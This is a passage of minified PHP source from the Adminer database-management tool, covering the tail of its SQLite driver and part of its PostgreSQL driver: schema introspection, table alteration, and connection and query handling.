is_view($S){return$S["Engine"]=="view";}function
fk_support($S){return!get_val("SELECT sqlite_compileoption_used('OMIT_FOREIGN_KEY')");}function
fields($R){$J=array();$G="";foreach(get_rows("PRAGMA table_".(min_version(3.31)?"x":"")."info(".table($R).")")as$K){$B=$K["name"];$U=strtolower($K["type"]);$k=$K["dflt_value"];$J[$B]=array("field"=>$B,"type"=>(preg_match('~int~i',$U)?"integer":(preg_match('~char|clob|text~i',$U)?"text":(preg_match('~blob~i',$U)?"blob":(preg_match('~real|floa|doub~i',$U)?"real":"numeric")))),"full_type"=>$U,"default"=>(preg_match("~^'(.*)'$~",$k,$A)?str_replace("''","'",$A[1]):($k=="NULL"?null:$k)),"null"=>!$K["notnull"],"privileges"=>array("select"=>1,"insert"=>1,"update"=>1,"where"=>1,"order"=>1),"primary"=>$K["pk"],);if($K["pk"]){if($G!="")$J[$G]["auto_increment"]=false;elseif(preg_match('~^integer$~i',$U))$J[$B]["auto_increment"]=true;$G=$B;}}$di=get_val("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($R));$u='(("[^"]*+")+|[a-z0-9_]+)';preg_match_all('~'.$u.'\s+text\s+COLLATE\s+(\'[^\']+\'|\S+)~i',$di,$Ye,PREG_SET_ORDER);foreach($Ye
as$A){$B=str_replace('""','"',preg_replace('~^"|"$~','',$A[1]));if($J[$B])$J[$B]["collation"]=trim($A[3],"'");}preg_match_all('~'.$u.'\s.*GENERATED ALWAYS AS \((.+)\) (STORED|VIRTUAL)~i',$di,$Ye,PREG_SET_ORDER);foreach($Ye
as$A){$B=str_replace('""','"',preg_replace('~^"|"$~','',$A[1]));$J[$B]["default"]=$A[3];$J[$B]["generated"]=strtoupper($A[4]);}return$J;}function
indexes($R,$g=null){$g=connection($g);$J=array();$di=get_val("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($R),0,$g);if(preg_match('~\bPRIMARY\s+KEY\s*\((([^)"]+|"[^"]*"|`[^`]*`)++)~i',$di,$A)){$J[""]=array("type"=>"PRIMARY","columns"=>array(),"lengths"=>array(),"descs"=>array());preg_match_all('~((("[^"]*+")+|(?:`[^`]*+`)+)|(\S+))(\s+(ASC|DESC))?(,\s*|$)~i',$A[1],$Ye,PREG_SET_ORDER);foreach($Ye
as$A){$J[""]["columns"][]=idf_unescape($A[2]).$A[4];$J[""]["descs"][]=(preg_match('~DESC~i',$A[5])?'1':null);}}if(!$J){foreach(fields($R)as$B=>$m){if($m["primary"])$J[""]=array("type"=>"PRIMARY","columns"=>array($B),"lengths"=>array(),"descs"=>array(null));}}$hi=get_key_vals("SELECT name, sql FROM sqlite_master WHERE type = 'index' AND tbl_name = ".q($R),$g);foreach(get_rows("PRAGMA index_list(".table($R).")",$g)as$K){$B=$K["name"];$v=array("type"=>($K["unique"]?"UNIQUE":"INDEX"));$v["lengths"]=array();$v["descs"]=array();foreach(get_rows("PRAGMA index_info(".idf_escape($B).")",$g)as$zh){$v["columns"][]=$zh["name"];$v["descs"][]=null;}if(preg_match('~^CREATE( UNIQUE)? INDEX '.preg_quote(idf_escape($B).' ON '.idf_escape($R),'~').' \((.*)\)$~i',$hi[$B],$mh)){preg_match_all('/("[^"]*+")+( DESC)?/',$mh[2],$Ye);foreach($Ye[2]as$x=>$X){if($X)$v["descs"][$x]='1';}}if(!$J[""]||$v["type"]!="UNIQUE"||$v["columns"]!=$J[""]["columns"]||$v["descs"]!=$J[""]["descs"]||!preg_match("~^sqlite_~",$B))$J[$B]=$v;}return$J;}function
foreign_keys($R){$J=array();foreach(get_rows("PRAGMA foreign_key_list(".table($R).")")as$K){$p=&$J[$K["id"]];if(!$p)$p=$K;$p["source"][]=$K["from"];$p["target"][]=$K["to"];}return$J;}function
view($B){return
array("select"=>preg_replace('~^(?:[^`"[]+|`[^`]*`|"[^"]*")* AS\s+~iU','',get_val("SELECT sql FROM sqlite_master WHERE type = 'view' AND name = ".q($B))));}function
collations(){return(isset($_GET["create"])?get_vals("PRAGMA collation_list",1):array());}function
information_schema($j){return
false;}function
error(){return
h(connection()->error);}function
check_sqlite_name($B){$Qc="db|sdb|sqlite";if(!preg_match("~^[^\\0]*\\.($Qc)\$~",$B)){connection()->error=sprintf('Please use one of the extensions %s.',str_replace("|",", ",$Qc));return
false;}return
true;}function
create_database($j,$c){if(file_exists($j)){connection()->error='File exists.';return
false;}if(!check_sqlite_name($j))return
false;try{$_=new
Db();$_->attach($j,'','');}catch(\Exception$Ic){connection()->error=$Ic->getMessage();return
false;}$_->query('PRAGMA encoding = "UTF-8"');$_->query('CREATE TABLE adminer (i)');$_->query('DROP TABLE adminer');return
true;}function
drop_databases($i){connection()->attach(":memory:",'','');foreach($i
as$j){if(!@unlink($j)){connection()->error='File exists.';return
false;}}return
true;}function
rename_database($B,$c){if(!check_sqlite_name($B))return
false;connection()->attach(":memory:",'','');connection()->error='File exists.';return@rename(DB,$B);}function
auto_increment(){return" PRIMARY KEY AUTOINCREMENT";}function
alter_table($R,$B,$n,$jd,$ob,$yc,$c,$_a,$E){$vj=($R==""||$jd);foreach($n
as$m){if($m[0]!=""||!$m[1]||$m[2]){$vj=true;break;}}$b=array();$kg=array();foreach($n
as$m){if($m[1]){$b[]=($vj?$m[1]:"ADD ".implode($m[1]));if($m[0]!="")$kg[$m[0]]=$m[1][0];}}if(!$vj){foreach($b
as$X){if(!queries("ALTER TABLE ".table($R)." $X"))return
false;}if($R!=$B&&!queries("ALTER TABLE ".table($R)." RENAME TO ".table($B)))return
false;}elseif(!recreate_table($R,$B,$b,$kg,$jd,$_a))return
false;if($_a){queries("BEGIN");queries("UPDATE sqlite_sequence SET seq = $_a WHERE name = ".q($B));if(!connection()->affected_rows)queries("INSERT INTO sqlite_sequence (name, seq) VALUES (".q($B).", $_a)");queries("COMMIT");}return
true;}function
recreate_table($R,$B,array$n,array$kg,array$jd,$_a="",$w=array(),$jc="",$ja=""){if($R!=""){if(!$n){foreach(fields($R)as$x=>$m){if($w)$m["auto_increment"]=0;$n[]=process_field($m,$m);$kg[$x]=idf_escape($x);}}$Rg=false;foreach($n
as$m){if($m[6])$Rg=true;}$lc=array();foreach($w
as$x=>$X){if($X[2]=="DROP"){$lc[$X[1]]=true;unset($w[$x]);}}foreach(indexes($R)as$Ae=>$v){$e=array();foreach($v["columns"]as$x=>$d){if(!$kg[$d])continue
2;$e[]=$kg[$d].($v["descs"][$x]?" DESC":"");}if(!$lc[$Ae]){if($v["type"]!="PRIMARY"||!$Rg)$w[]=array($v["type"],$Ae,$e);}}foreach($w
as$x=>$X){if($X[0]=="PRIMARY"){unset($w[$x]);$jd[]="  PRIMARY KEY (".implode(", ",$X[2]).")";}}foreach(foreign_keys($R)as$Ae=>$p){foreach($p["source"]as$x=>$d){if(!$kg[$d])continue
2;$p["source"][$x]=idf_unescape($kg[$d]);}if(!isset($jd[" $Ae"]))$jd[]=" ".format_foreign_key($p);}queries("BEGIN");}$Ua=array();foreach($n
as$m){if(preg_match('~GENERATED~',$m[3]))unset($kg[array_search($m[0],$kg)]);$Ua[]="  ".implode($m);}$Ua=array_merge($Ua,array_filter($jd));foreach(driver()->checkConstraints($R)as$Wa){if($Wa!=$jc)$Ua[]="  CHECK ($Wa)";}if($ja)$Ua[]="  CHECK ($ja)";$Fi=($R==$B?"adminer_$B":$B);if(!queries("CREATE TABLE ".table($Fi)." (\n".implode(",\n",$Ua)."\n)"))return
false;if($R!=""){if($kg&&!queries("INSERT INTO ".table($Fi)." (".implode(", ",$kg).") SELECT ".implode(", ",array_map('Adminer\idf_escape',array_keys($kg)))." FROM ".table($R)))return
false;$fj=array();foreach(triggers($R)as$dj=>$Mi){$cj=trigger($dj,$R);$fj[]="CREATE TRIGGER ".idf_escape($dj)." ".implode(" ",$Mi)." ON ".table($B)."\n$cj[Statement]";}$_a=$_a?"":get_val("SELECT seq FROM sqlite_sequence WHERE name = ".q($R));if(!queries("DROP TABLE ".table($R))||($R==$B&&!queries("ALTER TABLE ".table($Fi)." RENAME TO ".table($B)))||!alter_indexes($B,$w))return
false;if($_a)queries("UPDATE sqlite_sequence SET seq = $_a WHERE name = ".q($B));foreach($fj
as$cj){if(!queries($cj))return
false;}queries("COMMIT");}return
true;}function
index_sql($R,$U,$B,$e){return"CREATE $U ".($U!="INDEX"?"INDEX ":"").idf_escape($B!=""?$B:uniqid($R."_"))." ON ".table($R)." $e";}function
alter_indexes($R,$b){foreach($b
as$G){if($G[0]=="PRIMARY")return
recreate_table($R,$R,array(),array(),array(),"",$b);}foreach(array_reverse($b)as$X){if(!queries($X[2]=="DROP"?"DROP INDEX ".idf_escape($X[1]):index_sql($R,$X[0],$X[1],"(".implode(", ",$X[2]).")")))return
false;}return
true;}function
truncate_tables($T){return
apply_queries("DELETE FROM",$T);}function
drop_views($Gj){return
apply_queries("DROP VIEW",$Gj);}function
drop_tables($T){return
apply_queries("DROP TABLE",$T);}function
move_tables($T,$Gj,$Di){return
false;}function
trigger($B,$R){if($B=="")return
array("Statement"=>"BEGIN\n\t;\nEND");$u='(?:[^`"\s]+|`[^`]*`|"[^"]*")+';$ej=trigger_options();preg_match("~^CREATE\\s+TRIGGER\\s*$u\\s*(".implode("|",$ej["Timing"]).")\\s+([a-z]+)(?:\\s+OF\\s+($u))?\\s+ON\\s*$u\\s*(?:FOR\\s+EACH\\s+ROW\\s)?(.*)~is",get_val("SELECT sql FROM sqlite_master WHERE type = 'trigger' AND name = ".q($B)),$A);$Hf=$A[3];return
array("Timing"=>strtoupper($A[1]),"Event"=>strtoupper($A[2]).($Hf?" OF":""),"Of"=>idf_unescape($Hf),"Trigger"=>$B,"Statement"=>$A[4],);}function
triggers($R){$J=array();$ej=trigger_options();foreach(get_rows("SELECT * FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($R))as$K){preg_match('~^CREATE\s+TRIGGER\s*(?:[^`"\s]+|`[^`]*`|"[^"]*")+\s*('.implode("|",$ej["Timing"]).')\s*(.*?)\s+ON\b~i',$K["sql"],$A);$J[$K["name"]]=array($A[1],$A[2]);}return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","UPDATE OF","DELETE"),"Type"=>array("FOR EACH ROW"),);}function
begin(){return
queries("BEGIN");}function
last_id($I){return
get_val("SELECT LAST_INSERT_ROWID()");}function
explain($f,$H){return$f->query("EXPLAIN QUERY PLAN $H");}function
found_rows($S,$Z){}function
types(){return
array();}function
create_sql($R,$_a,$ni){$J=get_val("SELECT sql FROM sqlite_master WHERE type IN ('table', 'view') AND name = ".q($R));foreach(indexes($R)as$B=>$v){if($B=='')continue;$J
.=";\n\n".index_sql($R,$v['type'],$B,"(".implode(", ",array_map('Adminer\idf_escape',$v['columns'])).")");}return$J;}function
truncate_sql($R){return"DELETE FROM ".table($R);}function
use_sql($Nb){}function
trigger_sql($R){return
implode(get_vals("SELECT sql || ';;\n' FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($R)));}function
show_variables(){$J=array();foreach(get_rows("PRAGMA pragma_list")as$K){$B=$K["name"];if($B!="pragma_list"&&$B!="compile_options"){$J[$B]=array($B,'');foreach(get_rows("PRAGMA $B")as$K)$J[$B][1].=implode(", ",$K)."\n";}}return$J;}function
show_status(){$J=array();foreach(get_vals("PRAGMA compile_options")as$Wf)$J[]=explode("=",$Wf,2)+array('','');return$J;}function
convert_field($m){}function
unconvert_field($m,$J){return$J;}function
support($Vc){return
preg_match('~^(check|columns|database|drop_col|dump|indexes|descidx|move_col|sql|status|table|trigger|variables|view|view_trigger)$~',$Vc);}}add_driver("pgsql","PostgreSQL");if(isset($_GET["pgsql"])){define('Adminer\DRIVER',"pgsql");if(extension_loaded("pgsql")&&$_GET["ext"]!="pdo"){class
PgsqlDb
extends
SqlDb{var$extension="PgSQL";var$timeout=0;private$link,$string,$database=true;function
_error($Dc,$l){if(ini_bool("html_errors"))$l=html_entity_decode(strip_tags($l));$l=preg_replace('~^[^:]*: ~','',$l);$this->error=$l;}function
attach($N,$V,$F){$j=adminer()->database();set_error_handler(array($this,'_error'));$this->string="host='".str_replace(":","' port='",addcslashes($N,"'\\"))."' user='".addcslashes($V,"'\\")."' password='".addcslashes($F,"'\\")."'";$ii=adminer()->connectSsl();if(isset($ii["mode"]))$this->string
.=" sslmode='".$ii["mode"]."'";$this->link=@pg_connect("$this->string dbname='".($j!=""?addcslashes($j,"'\\"):"postgres")."'",PGSQL_CONNECT_FORCE_NEW);if(!$this->link&&$j!=""){$this->database=false;$this->link=@pg_connect("$this->string dbname='postgres'",PGSQL_CONNECT_FORCE_NEW);}restore_error_handler();if($this->link)pg_set_client_encoding($this->link,"UTF8");return($this->link?'':$this->error);}function
quote($Q){return(function_exists('pg_escape_literal')?pg_escape_literal($this->link,$Q):"'".pg_escape_string($this->link,$Q)."'");}function
value($X,array$m){return($m["type"]=="bytea"&&$X!==null?pg_unescape_bytea($X):$X);}function
select_db($Nb){if($Nb==adminer()->database())return$this->database;$J=@pg_connect("$this->string dbname='".addcslashes($Nb,"'\\")."'",PGSQL_CONNECT_FORCE_NEW);if($J)$this->link=$J;return$J;}function
close(){$this->link=@pg_connect("$this->string dbname='postgres'");}function
query($H,$jj=false){$I=@pg_query($this->link,$H);$this->error="";if(!$I){$this->error=pg_last_error($this->link);$J=false;}elseif(!pg_num_fields($I)){$this->affected_rows=pg_affected_rows($I);$J=true;}else$J=new
Result($I);if($this->timeout){$this->timeout=0;$this->query("RESET statement_timeout");}return$J;}function
warnings(){return
h(pg_last_notice($this->link));}function
copyFrom($R,array$L){$this->error='';set_error_handler(function($Dc,$l){$this->error=(ini_bool('html_errors')?html_entity_decode($l):$l);return
true;});$J=pg_copy_from($this->link,$R,$L);restore_error_handler();return$J;}}class
Result{var$num_rows;private$result,$offset=0;function
__construct($I){$this->result=$I;$this->num_rows=pg_num_rows($I);}function
fetch_assoc(){return
pg_fetch_assoc($this->result);}function
fetch_row(){return
pg_fetch_row($this->result);}function
fetch_field(){$d=$this->offset++;$J=new
\stdClass;$J->orgtable=pg_field_table($this->result,$d);$J->name=pg_field_name($this->result,$d);$U=pg_field_type($this->result,$d);$J->type=(preg_match(number_type(),$U)?0:15);$J->charsetnr=($U=="bytea"?63:0);return$J;}function
__destruct(){pg_free_result($this->result);}}}elseif(extension_loaded("pdo_pgsql")){class
PgsqlDb
extends
PdoDb{var$extension="PDO_PgSQL";var$timeout=0;function
attach($N,$V,$F){$j=adminer()->database();$nc="pgsql:host='".str_replace(":","' port='",addcslashes($N,"'\\"))."' client_encoding=utf8 dbname='".($j!=""?addcslashes($j,"'\\"):"postgres")."'";$ii=adminer()->connectSsl();if(isset($ii["mode"]))$nc
.=" sslmode='".$ii["mode"]."'";return$this->dsn($nc,$V,$F);}function
select_db($Nb){return(adminer()->database()==$Nb);}function
query($H,$jj=false){$J=parent::query($H,$jj);if($this->timeout){$this->timeout=0;parent::query("RESET statement_timeout");}return$J;}function
warnings(){}function
copyFrom($R,array$L){$J=$this->pdo->pgsqlCopyFromArray($R,$L);$this->error=idx($this->pdo->errorInfo(),2)?:'';return$J;}function
close(){}}}if(class_exists('Adminer\PgsqlDb')){class
Db
extends
PgsqlDb{function
multi_query($H){if(preg_match('~\bCOPY\s+(.+?)\s+FROM\s+stdin;\n?(.*)\n\\\\\.$~is',str_replace("\r\n","\n",$H),$A)){$L=explode("\n",$A[2]);$this->affected_rows=count($L);return$this->copyFrom($A[1],$L);}return
parent::multi_query($H);}}}class
Driver
extends
SqlDriver{static$extensions=array("PgSQL","PDO_PgSQL");static$jush="pgsql";var$operators=array("=","<",">","<=",">=","!=","~","!~","LIKE","LIKE %%","ILIKE","ILIKE %%","IN","IS NULL","NOT LIKE","NOT ILIKE","NOT IN","IS NOT NULL");var$functions=array("char_length","lower","round","to_hex","to_timestamp","upper");var$grouping=array("avg","count","count distinct","max","min","sum");var$nsOid="(SELECT oid FROM pg_namespace WHERE nspname = current_schema())";static
function
connect($N,$V,$F){$f=parent::connect($N,$V,$F);if(is_string($f))return$f;$Ej=get_val("SELECT version()",0,$f);$f->flavor=(preg_match('~CockroachDB~',$Ej)?'cockroach':'');$f->server_info=preg_replace('~^\D*([\d.]+[-\w]*).*~','\1',$Ej);if(min_version(9,0,$f))$f->query("SET application_name = 'Adminer'");if($f->flavor=='cockroach')add_driver(DRIVER,"CockroachDB");return$f;}function
__construct(Db$f){parent::__construct($f);$this->types=array('Numbers'=>array("smallint"=>5,"integer"=>10,"bigint"=>19,"boolean"=>1,"numeric"=>0,"real"=>7,"double precision"=>16,"money"=>20),'Date and time'=>array("date"=>13,"time"=>17,"timestamp"=>20,"timestamptz"=>21,"interval"=>0),'Strings'=>array("character"=>0,"character varying"=>0,"text"=>0,"tsquery"=>0,"tsvector"=>0,"uuid"=>0,"xml"=>0),'Binary'=>array("bit"=>0,"bit varying"=>0,"bytea"=>0),'Network'=>array("cidr"=>43,"inet"=>43,"macaddr"=>17,"macaddr8"=>23,"txid_snapshot"=>0),'Geometry'=>array("box"=>0,"circle"=>0,"line"=>0,"lseg"=>0,"path"=>0,"point"=>0,"polygon"=>0),);if(min_version(9.2,0,$f)){$this->types['Strings']["json"]=4294967295;if(min_version(9.4,0,$f))$this->types['Strings']["jsonb"]=4294967295;}$this->insertFunctions=array("char"=>"md5","date|time"=>"now",);$this->editFunctions=array(number_type()=>"+/-","date|time"=>"+ interval/- interval","char|text"=>"||",);if(min_version(12,0,$f))$this->generated=array("STORED");$this->partitionBy=array("RANGE","LIST");if(!$f->flavor)$this->partitionBy[]="HASH";}function
enumLength(array$m){$_c=$this->types['User types'][$m["type"]];return($_c?type_values($_c):"");}function
setUserTypes($ij){$this->types['User types']=array_flip($ij);}function
insertReturning($R){$_a=array_filter(fields($R),function($m){return$m['auto_increment'];});return(count($_a)==1?" RETURNING ".idf_escape(key($_a)):"");}function
insertUpdate($R,array$L,array$G){foreach($L
as$O){$rj=array();$Z=array();foreach($O
as$x=>$X){$rj[]="$x = $X";if(isset($G[idf_unescape($x)]))$Z[]="$x = $X";}if(!(($Z&&queries("UPDATE ".table($R)." SET ".implode(", ",$rj)." WHERE ".implode(" AND ",$Z))&&connection()->affected_rows)||queries("INSERT INTO ".table($R)." (".implode(", ",array_keys($O)).") VALUES (".implode(", ",$O).")")))return
false;}return
true;}function
slowQuery($H,$Li){$this->conn->query("SET statement_timeout = ".(1000*$Li));$this->conn->timeout=1000*$Li;return$H;}function
convertSearch($u,array$X,array$m){$Ii="char|text";if(strpos($X["op"],"LIKE")===false)$Ii
.="|date|time(stamp)?|boolean|uuid|inet|cidr|macaddr|".number_type();return(preg_match("~$Ii~",$m["type"])?$u:"CAST($u AS text)");}function
quoteBinary($_h){return"'\\x".bin2hex($_h)."'";}function
warnings(){return$this->conn->warnings();}function
tableHelp($B,$xe=false){$Qe=array("information_schema"=>"infoschema","pg_catalog"=>($xe?"view":"catalog"),);$_=$Qe[$_GET["ns"]];if($_)return"$_-".str_replace("_","-",$B).".html";}function
inheritsFrom($R){return
get_vals("SELECT relname FROM pg_class JOIN pg_inherits ON inhparent = oid WHERE inhrelid = ".$this->tableOid($R)." ORDER BY 1");}function
inheritedTables($R){return
get_vals("SELECT relname FROM pg_inherits JOIN pg_class ON inhrelid = oid WHERE inhparent = ".$this->tableOid($R)." ORDER BY 1");}function
partitionsInfo($R){$K=connection()->query("SELECT * FROM pg_partitioned_table WHERE partrelid = ".driver()->tableOid($R))->fetch_assoc();if($K){$ya=get_vals("SELECT attname FROM pg_attribute WHERE attrelid = $K[partrelid] AND attnum IN (".str_replace(" ",", ",$K["partattrs"]).")");$Oa=array('h'=>'HASH','l'=>'LIST','r'=>'RANGE');return
array("partition_by"=>$Oa[$K["partstrat"]],"partition"=>implode(", ",array_map('Adminer\idf_escape',$ya)),);}return
array();}function
tableOid($R){return"(SELECT oid FROM pg_class WHERE relnamespace = $this->nsOid AND relname = ".q($R)." AND relkind IN ('r', 'm', 'v', 'f', 'p'))";}function
indexAlgorithms(array$ti){static$J=array();if(!$J)$J=get_vals("SELECT amname FROM pg_am".(min_version(9.6)?" WHERE amtype = 'i'":"")." ORDER BY amname = 'btree' DESC, amname");return$J;}function
supportsIndex(array$S){return$S["Engine"]!="view";}function
hasCStyleEscapes(){static$Qa;if($Qa===null)$Qa=(get_val("SHOW standard_conforming_strings",0,$this->conn)=="off");return$Qa;}}function
idf_escape($u){return'"'.str_replace('"','""',$u).'"';}function
table($u){return
idf_escape($u);}function
get_databases($hd){return
get_vals("SELECT datname FROM pg_database
WHERE datallowconn = TRUE AND has_database_privilege(datname, 'CONNECT')
ORDER BY datname");}function
limit($H,$Z,$z,$C=0,$Mh=" "){return" $H$Z".($z?$Mh."LIMIT $z".($C?" OFFSET $C":""):"");}function
limit1($R,$H,$Z,$Mh="\n"){return(preg_match('~^INTO~',$H)?limit($H,$Z,1,0,$Mh):" $H".(is_view(table_status1($R))?$Z:$Mh."WHERE ctid = (SELECT ctid FROM ".table($R).$Z.$Mh."LIMIT 1)"));}function
db_collation($j,$jb){return
get_val("SELECT datcollate FROM pg_database WHERE datname = ".q($j));}function
logged_user(){return
get_val("SELECT user");}function
tables_list(){$H="SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = current_schema()";if(support("materializedview"))$H
.="
UNION ALL
SELECT matviewname, 'MATERIALIZED VIEW'
FROM pg_matviews
WHERE schemaname = current_schema()";$H
.="
ORDER BY 1";return
get_key_vals($H);}function
count_tables($i){$J=array();foreach($i
as$j){if(connection()->select_db($j))$J[$j]=count(tables_list());}return$J;}function
table_status($B=""){static$Fd;if($Fd===null)$Fd=get_val("SELECT 'pg_table_size'::regproc");$J=array();foreach(get_rows("SELECT
	relname AS \"Name\",
	CASE relkind WHEN 'v' THEN 'view' WHEN 'm' THEN 'materialized view' ELSE 'table' END AS \"Engine\"".($Fd?",
	pg_table_size(oid) AS \"Data_length\",
	pg_indexes_size(oid) AS \"Index_length\"":"").",
	obj_description(oid, 'pg_class') AS \"Comment\",
	".(min_version(12)?"''":"CASE WHEN relhasoids THEN 'oid' ELSE '' END")." AS \"Oid\",
	reltuples as \"Rows\",
	inhparent AS inherited,
	current_schema() AS nspname
FROM pg_class
LEFT JOIN pg_inherits ON inhrelid = oid
WHERE relkind IN ('r', 'm', 'v', 'f', 'p')
AND relnamespace = ".driver()->nsOid."
".($B!=""?"AND relname = ".q($B):"ORDER BY relname"))as$K)$J[$K["Name"]]=$K;return$J;}function
is_view($S){return
in_array($S["Engine"],array("view","materialized view"));}function
fk_support($S){return
true;}function
fields($R){$J=array();$ra=array('timestamp without time zone'=>'timestamp','timestamp with time zone'=>'timestamptz',);foreach(get_rows("SELECT
	a.attname AS field,
	format_type(a.atttypid, a.atttypmod) AS full_type,
	pg_get_expr(d.adbin, d.adrelid) AS default,
	a.attnotnull::int,
	col_description(a.attrelid, a.attnum) AS comment".(min_version(10)?",
	a.attidentity".(min_version(12)?",
	a.attgenerated":""):"")."
FROM pg_attribute a
LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum
WHERE a.attrelid = ".driver()->tableOid($R)."
AND NOT a.attisdropped
AND a.attnum > 0
ORDER BY a.attnum")as$K){preg_match('~([^([]+)(\((.*)\))?([a-z ]+)?((\[[0-9]*])*)$~',$K["full_type"],$A);list(,$U,$y,$K["length"],$ka,$va)=$A;$K["length"].=$va;$Ya=$U.$ka;if(isset($ra[$Ya])){$K["type"]=$ra[$Ya];$K["full_type"]=$K["type"].$y.$va;}else{$K["type"]=$U;$K["full_type"]=$K["type"].$y.$ka.$va;}if(in_array($K['attidentity'],array('a','d')))$K['default']='GENERATED '.($K['attidentity']=='d'?'BY DEFAULT':'ALWAYS').' AS IDENTITY';$K["generated"]=($K["attgenerated"]=="s"?"STORED":"");$K["null"]=!$K["attnotnull"];$K["auto_increment"]=$K['attidentity']||preg_match('~^nextval\(~i',$K["default"])||preg_match('~^unique_rowid\(~',$K["default"]);$K["privileges"]=array("insert"=>1,"select"=>1,"update"=>1,"where"=>1,"order"=>1);if(preg_match('~(.+)::[^,)]+(.*)~',$K["default"],$A))$K["default"]=($A[1]=="NULL"?null:idf_unescape($A[1]).$A[2]);$J[$K["field"]]=$K;}return$J;}function
indexes($R,$g=null){$g=connection($g);$J=array();$wi=driver()->tableOid($R);$e=get_key_vals("SELECT attnum, attname FROM pg_attribute WHERE attrelid = $wi AND attnum > 0",$g);foreach(get_rows("SELECT relname, indisunique::int, indisprimary::int, indkey, indoption, (indpred IS NOT NULL)::int as indispartial, pg_am.amname as algorithm, pg_get_expr(pg_index.indpred, pg_index.indrelid, true) AS partial
FROM pg_index
JOIN pg_class ON indexrelid = oid
JOIN pg_am ON pg_am.oid = pg_class.relam
WHERE indrelid = $wi
ORDER BY indisprimary DESC, indisunique DESC",$g)as$K){$nh=$K["relname"];$J[$nh]["type"]=($K["indispartial"]?"INDEX":($K["indisprimary"]?"PRIMARY":($K["indisunique"]?"UNIQUE":"INDEX")));$J[$nh]["columns"]=array();$J[$nh]["descs"]=array();$J[$nh]["algorithm"]=$K["algorithm"];$J[$nh]["partial"]=$K["partial"];if($K["indkey"]){foreach(explode(" ",$K["indkey"])as$ee)$J[$nh]["columns"][]=$e[$ee];foreach(explode(" ",$K["indoption"])as$fe)$J[$nh]["descs"][]=(intval($fe)&1?'1':null);}$J[$nh]["lengths"]=array();}return$J;}function
foreign_keys($R){$J=array();foreach(get_rows("SELECT conname, condeferrable::int AS deferrable, pg_get_constraintdef(oid) AS definition
FROM pg_constraint
WHERE conrelid = ".driver()->tableOid($R)."
AND contype = 'f'::char
ORDER BY conkey, conname")as$K){if(preg_match('~FOREIGN KEY\s*\((.+)\)\s*REFERENCES (.+)\((.+)\)(.*)$~iA',$K['definition'],$A)){$K['source']=array_map('Adminer\idf_unescape',array_map('trim',explode(',',$A[1])));if(preg_match('~^(("([^"]|"")+"|[^"]+)\.)?"?("([^"]|"")+"|[^"]+)$~',$A[2],$We)){$K['ns']=idf_unescape($We[2]);$K['table']=idf_unescape($We[4]);}$K['target']=array_map('Adminer\idf_unescape',array_map('trim',explode(',',$A[3])));$K['on_delete']=(preg_match("~ON DELETE (".driver()->onActions.")~",$A[4],$We)?$We[1]:'NO ACTION');$K['on_update']=(preg_match("~ON UPDATE (".driver()->onActions.")~",$A[4],$We)?$We[1]:'NO ACTION');$J[$K['conname']]=$K;}}return$J;}function
view($B){return
array("select"=>trim(get_val("SELECT pg_get_viewdef(".driver()->tableOid($B).")")));}function
collations(){return
array();}function
information_schema($j){return
get_schema()=="information_schema";}function
error(){$J=h(connection()->error);if(preg_match('~^(.*\n)?([^\n]*)\n( *)\^(\n.*)?$~s',$J,$A))$J=$A[1].preg_replace('~((?:[^&]|&[^;]*;){'.strlen($A[3]).'})(.*)~','\1<b>\2</b>',$A[2]).$A[4];return
nl_br($J);}function
create_database($j,$c){return
queries("CREATE DATABASE ".idf_escape($j).($c?" ENCODING ".idf_escape($c):""));}function
drop_databases($i){connection()->close();return
apply_queries("DROP DATABASE",$i,'Adminer\idf_escape');}function
rename_database($B,$c){connection()->close();return
queries("ALTER DATABASE ".idf_escape(DB)." RENAME TO ".idf_escape($B));}function
auto_increment(){return"";}function
alter_table($R,$B,$n,$jd,$ob,$yc,$c,$_a,$E){$b=array();$ah=array();if($R!=""&&$R!=$B)$ah[]="ALTER TABLE ".table($R)." RENAME TO ".table($B);$Nh="";foreach($n
as$m){$d=idf_escape($m[0]);$X=$m[1];if(!$X)$b[]="DROP $d";else{$Aj=$X[5];unset($X[5]);if($m[0]==""){if(isset($X[6]))$X[1]=($X[1]==" bigint"?" big":($X[1]==" smallint"?" small":" "))."serial";$b[]=($R!=""?"ADD ":"  ").implode($X);if(isset($X[6]))$b[]=($R!=""?"ADD":" ")." PRIMARY KEY ($X[0])";}else{if($d!=$X[0])$ah[]="ALTER TABLE ".table($B)." RENAME $d TO $X[0]";$b[]="ALTER $d TYPE$X[1]";$Oh=$R."_".idf_unescape($X[0])."_seq";$b[]="ALTER $d ".($X[3]?"SET".preg_replace('~GENERATED ALWAYS(.*) STORED~','EXPRESSION\1',$X[3]):(isset($X[6])?"SET DEFAULT nextval(".q($Oh).")":"DROP DEFAULT"));if(isset($X[6]))$Nh="CREATE SEQUENCE IF NOT EXISTS ".idf_escape($Oh)." OWNED BY ".idf_escape($R).".$X[0]";$b[]="ALTER $d ".($X[2]==" NULL"?"DROP NOT":"SET").$X[2];}if($m[0]!=""||$Aj!="")$ah[]="COMMENT ON COLUMN ".table($B).".$X[0] IS ".($Aj!=""?substr($Aj,9):"''");}}$b=array_merge($b,$jd);if($R==""){$P="";if($E){$eb=(connection()->flavor=='cockroach');$P=" PARTITION BY $E[partition_by]($E[partition])";if($E["partition_by"]=='HASH'){$zg=+$E["partitions"];for($s=0;$s<$zg;$s++)$ah[]="CREATE TABLE ".idf_escape($B."_$s")." PARTITION OF ".idf_escape($B)." FOR VALUES WITH (MODULUS $zg, REMAINDER $s)";}else{$Qg="MINVALUE";foreach($E["partition_names"]as$s=>$X){$Y=$E["partition_values"][$s];$vg=" VALUES ".($E["partition_by"]=='LIST'?"IN ($Y)":"FROM ($Qg) TO ($Y)");if($eb)$P
.=($s?",":" (")."\n  PARTITION ".(preg_match('~^DEFAULT$~i',$X)?$X:idf_escape($X))."$vg";else$ah[]="CREATE TABLE ".idf_escape($B."_$X")." PARTITION OF ".idf_escape($B)." FOR$vg";$Qg=$Y;}$P
